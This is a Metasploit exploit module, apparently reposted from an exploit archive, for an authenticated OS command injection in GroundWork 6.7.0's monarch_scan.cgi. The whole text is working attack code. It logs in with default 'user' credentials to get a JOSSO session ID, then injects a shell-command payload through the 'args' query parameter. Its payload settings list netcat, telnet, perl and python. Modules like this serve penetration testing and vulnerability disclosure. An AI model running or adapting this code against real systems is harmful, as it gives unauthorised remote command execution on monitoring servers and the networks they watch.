GroundWork – ‘monarch_scan.cgi’ OS Command Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "GroundWork monarch_scan.cgi OS Command Injection", 'Description' => %q{ This module exploits a vulnerability found in GroundWork 6.7.0. This software is used for network, application and cloud monitoring. The vulnerability exists in the monarch_scan.cgi, where user controlled input is used in the perl qx function, which allows any remote authenticated attacker, whatever his privileges are, to inject system commands and gain arbitrary code execution. The module has been tested successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04 based VM appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'Johannes Greil', # Vulnerability Discovery, PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '91051' ], [ 'US-CERT-VU', '345260' ], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8190, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' }, # Based on the default Ubuntu 10.04 VM appliance 'RequiredCmd' => 'generic telnet netcat perl python' }, 'Platform' => ['unix', 'linux'], 'Targets' => [ ['GroundWork 6.7.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 8 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'GroundWork Username', 'user']), OptString.new('PASSWORD', [true, 'GroundWork Password', 'user']) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("josso", "signon", "login.do") }) if res and res.body =~ /GroundWork.*6\.7\.0/ return Exploit::CheckCode::Appears elsif res and res.body =~ /GroundWork/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def get_josso_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("josso", "signon", "usernamePasswordLogin.do"), 'vars_post' => { 'josso_cmd' => 'login', 'josso_username' => datastore['USERNAME'], 'josso_password' => datastore['PASSWORD'] } }) if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ return $1 else return nil end end def execute_command(command) http_handler = ((datastore['SSL']) ? "https" : "http") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("monarch", "monarch_scan.cgi"), 'headers' => { 'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc" }, 'cookie' => "JOSSO_SESSIONID=#{@josso_id}", 'query' => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}" }) return res end def exploit peer = "#{rhost}:#{rport}" print_status("#{peer} - Attempting to login...") @josso_id = get_josso_token if @josso_id.nil? fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID") end print_good("#{peer} - Authentication successful") print_status("#{peer} - Sending malicious request...") execute_command(payload.encoded) end end |